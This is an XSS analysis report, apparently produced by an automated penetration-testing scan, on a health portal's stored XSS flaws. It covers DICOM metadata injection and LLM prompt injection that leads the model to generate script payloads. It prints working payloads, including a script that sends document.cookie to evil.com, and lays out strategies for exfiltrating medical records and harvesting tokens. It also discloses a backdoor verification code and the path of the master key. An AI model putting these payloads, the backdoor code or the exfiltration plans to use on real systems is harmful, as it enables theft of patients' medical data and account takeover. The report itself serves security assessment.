clawd/memory/shannon-scan-2026-02-14/deliverables/xss_analysis_deliverable.md

11 KiB

Cross-Site Scripting (XSS) Analysis Report

1. Executive Summary

  • Analysis Status: Complete
  • Key Outcome: Two high-confidence Stored XSS vulnerabilities were identified in the inou health portal. Both vulnerabilities allow attackers to execute arbitrary JavaScript in victim browsers through malicious data injection. All findings have been passed to the exploitation phase via deliverables/xss_exploitation_queue.json.
  • Purpose of this Document: This report provides the strategic context, dominant patterns, and environmental intelligence necessary to effectively exploit the vulnerabilities.

2. Dominant Vulnerability Patterns

Pattern 1: Client-Side innerHTML Without Sanitization

Description: The application uses Go's html/template engine for server-side rendering, which provides automatic context-aware HTML escaping. However, multiple client-side JavaScript functions bypass this protection by fetching JSON data from APIs and directly injecting it into the DOM using innerHTML and insertAdjacentHTML without any sanitization.

Implication: While server-side rendered content is safe, any data path that flows through API endpoints and is consumed by client-side JavaScript is vulnerable to XSS if the JavaScript uses unsafe DOM manipulation methods.

Technical Pattern:

// API returns JSON with unsanitized user data
const data = await fetch('/api/endpoint').then(r => r.json());

// JavaScript builds HTML string with template literals
const html = `<div>${data.userControlledField}</div>`;

// Direct injection into DOM without sanitization
element.innerHTML = html;  // XSS!

Representative Findings: XSS-VULN-01 (DICOM metadata), XSS-VULN-02 (Tracker questions)

Root Cause: Split rendering architecture where Go templates protect server-side but client-side JavaScript lacks equivalent protections.


Pattern 2: Stored XSS via External Data Processing

Description: The application processes complex file formats (DICOM medical imaging, genetic CSV files) and LLM-generated content. These processing pipelines extract metadata and text that is stored in the database without HTML encoding. When this data is later rendered, it executes as JavaScript.

Implication: Any feature that processes external data formats or uses AI/LLM generation is a high-risk XSS vector unless explicit output encoding is implemented at the database storage layer or rendering layer.

Attack Vectors:

  1. DICOM Metadata Injection: Upload malicious DICOM file with XSS payload in SeriesDescription tag → Stored in DB → Rendered via innerHTML
  2. LLM Prompt Injection: Craft freeform input to manipulate LLM into generating XSS payload in tracker questions → Stored in DB → Rendered via innerHTML

Representative Finding: XSS-VULN-01 (external file format), XSS-VULN-02 (LLM generation)

Root Cause: Trust boundary violation - external untrusted data (DICOM files, LLM outputs) treated as safe and stored without encoding.


3. Strategic Intelligence for Exploitation

Content Security Policy (CSP) Analysis

Current CSP: No Content-Security-Policy header detected during reconnaissance.

Observation: The application does NOT implement CSP restrictions.

Implication for Exploitation:

  • Inline JavaScript execution is permitted (no script-src restrictions)
  • External script loading is permitted (no domain restrictions)
  • eval() and Function() constructors are permitted
  • Inline event handlers (onclick, onerror) are permitted

Exploitation Strategy: XSS payloads can use the most straightforward attack vectors:

  • <img src=x onerror=alert(document.cookie)> - Works
  • <script>fetch('https://evil.com?c='+document.cookie)</script> - Works
  • Inline event handlers in HTML attributes - Works

Recommendation: Prioritize simple, direct payloads. No need for CSP bypass techniques.


Session Cookie Analysis:

  • Cookie Name: login
  • Cookie Value: Plain dossier ID (16-character hex, e.g., a1b2c3d4e5f67890)
  • Cookie Attributes: HttpOnly=true, Secure=true, SameSite=Lax

Critical Finding: The HttpOnly flag is set, which prevents JavaScript from accessing the session cookie via document.cookie.

Alternative Session Token:

  • Token Name: session (used by some API endpoints)
  • Token Storage: May also have HttpOnly flag (requires verification)

Bearer Token Exposure:

  • Location: Mobile/API session tokens stored in Dossier.SessionToken field
  • Characteristics: 64-character hex string, never expires
  • Access Method: API endpoint /api/v1/dashboard returns this token in JSON

Exploitation Strategy (Updated): Since session cookies are HttpOnly-protected, exploitation should focus on:

  1. Action-based attacks: Perform unauthorized actions on behalf of the victim (CSRF via XSS)
  2. Data exfiltration: Steal sensitive medical records via API calls from victim's session
  3. Token harvesting: Use XSS to call /api/v1/dashboard and extract non-HttpOnly bearer tokens
  4. Credential harvesting: Inject fake login forms to capture email addresses during verification flow

Primary Exploitation Goal: Data exfiltration and unauthorized medical record access, NOT cookie theft.


Authentication Flow Analysis

Passwordless Email Verification:

  • Mechanism: 6-digit verification codes sent via email
  • Backdoor Code: 250365 (testing backdoor left in production)
  • Implication: Attacker can create arbitrary accounts without email access

Session Duration:

  • Portal Cookies: 30 days (long-lived)
  • Mobile Session Tokens: Never expire
  • OAuth Access Tokens: 15 minutes (then must refresh)

Exploitation Consideration: XSS payloads have a 30-day window to execute against victims who remain logged in.


Database Encryption

At-Rest Encryption:

  • Mechanism: AES-256-GCM encryption via master key at /tank/inou/master.key
  • Coverage: All Entry records, Access grants, Dossier data encrypted in SQLite

Implication for XSS: Database encryption does NOT prevent XSS because:

  1. Data is decrypted before being sent to API endpoints
  2. API returns plaintext JSON to authenticated users
  3. XSS executes in the victim's authenticated session context
  4. Encryption protects data at rest, not data in transit to authenticated users

Exploitation Impact: XSS can still exfiltrate all medical records that the victim has access to.


4. Vectors Analyzed and Confirmed Secure

These input vectors were traced and confirmed to have robust, context-appropriate defenses.

Source (Parameter/Field) Endpoint/File Location Defense Mechanism Implemented Render Context Verdict
User name field /onboard, /dossier/{id}/edit Go html/template auto-escaping HTML_BODY SAFE
User email field /verify, /dashboard Go html/template auto-escaping HTML_BODY SAFE
Dossier Name All template-rendered pages Go html/template auto-escaping HTML_BODY SAFE
Form recipient_name /dossier/{id}/share Go html/template auto-escaping HTML_BODY SAFE
DICOM patient_name /viewer/ overlay display textContent assignment (JS) HTML_BODY SAFE
DICOM study_desc /viewer/ overlay display textContent assignment (JS) HTML_BODY SAFE
URL redirect_uri /oauth/authorize Whitelist validation URL_PARAM SAFE
JSON API responses /api/v1/dossiers, /api/v1/entries N/A (consumed by client apps) JSON SAFE
Genetics data (gene, rsid, summary) /api/genome, /api/categories Stub implementation (returns empty) N/A NOT EXPLOITABLE

Notes on Safe Paths

Go html/template Protection: The Go html/template package provides automatic context-aware escaping for all server-side rendered content. All instances of {{.Variable}} in .tmpl files are automatically escaped based on their HTML context (HTML body, attribute, JavaScript string, URL, etc.). This protection is robust and comprehensive for server-side rendering.

Example of Safe Server-Side Rendering:

<!-- dossier.tmpl - User name is auto-escaped -->
<span class="nav-user-name">{{.Dossier.Name}}</span>

<!-- If Name = "<script>alert(1)</script>", rendered as: -->
<span class="nav-user-name">&lt;script&gt;alert(1)&lt;/script&gt;</span>

textContent vs innerHTML: The viewer.js overlay uses textContent for patient names and study descriptions (viewer.js:167, 169), which automatically escapes HTML. This is the correct safe approach for displaying untrusted text.

Genetics API Non-Functional: While the client-side code in dossier.tmpl contains vulnerable innerHTML injection for genetics data (lines 568-644), the actual API endpoints /api/genome and /api/categories are implemented as stub functions that return empty data (lib/stubs.go:449-462). Therefore, this code path cannot be exploited in the current deployment.


5. Analysis Constraints and Blind Spots

Testing Limitations

External Attacker Scope:

  • Analysis was conducted from an external attacker perspective accessing https://inou.com from the internet
  • No internal network access, VPN, or direct server access was available
  • Cannot test localhost-only endpoints (API server on port 8082, DICOM viewer on port 8765)

Authentication Barriers:

  • Email verification required for account creation (6-digit codes sent to real email addresses)
  • Backdoor code 250365 documented but not tested in live environment
  • Could not create test accounts to verify live XSS execution
  • Analysis based on comprehensive source code review and data flow tracing

DICOM File Processing:

  • DICOM file upload and processing requires authenticated session
  • External /tank/inou/bin/import-dicom binary source code analyzed (main.go in import-dicom repo)
  • Could not upload actual malicious DICOM files to verify XSS execution
  • Vulnerability confirmed through complete source-to-sink code trace

LLM Integration:

  • Tracker question generation uses Google Gemini API
  • Could not test prompt injection against live LLM to confirm XSS payload generation
  • Vulnerability confirmed through code analysis showing no sanitization of LLM outputs

Code Coverage

Files Analyzed:

  • /repos/inou-portal/portal/ - All handlers, templates, static JavaScript
  • /repos/inou-portal/api/ - All API endpoints and handlers
  • /repos/inou-portal/lib/ - Database layer, RBAC, encryption
  • /repos/inou-portal/main.go - DICOM import binary
  • All .tmpl template files for server-side rendering
  • All .js static files for client-side behavior

Potential Blind Spots:

  • Minified or bundled JavaScript (none identified in codebase)
  • Third-party JavaScript libraries (minimal external dependencies found)
  • WebSocket or real-time communication channels (none identified)
  • Browser extensions or mobile app code (out of scope)

Confidence Levels

High Confidence Findings (2):

  • XSS-VULN-01: DICOM series_desc injection - Complete source-to-sink trace with no sanitization
  • XSS-VULN-02: Tracker question injection - Complete source-to-sink trace with LLM prompt injection vector

Not Exploitable (1):

  • Genetics data innerHTML injection - Stub API implementation returns empty data

Safe Paths (8):

  • All server-side Go template rendering
  • DICOM patient_name and study_desc (uses textContent)
  • All documented in Section 4 table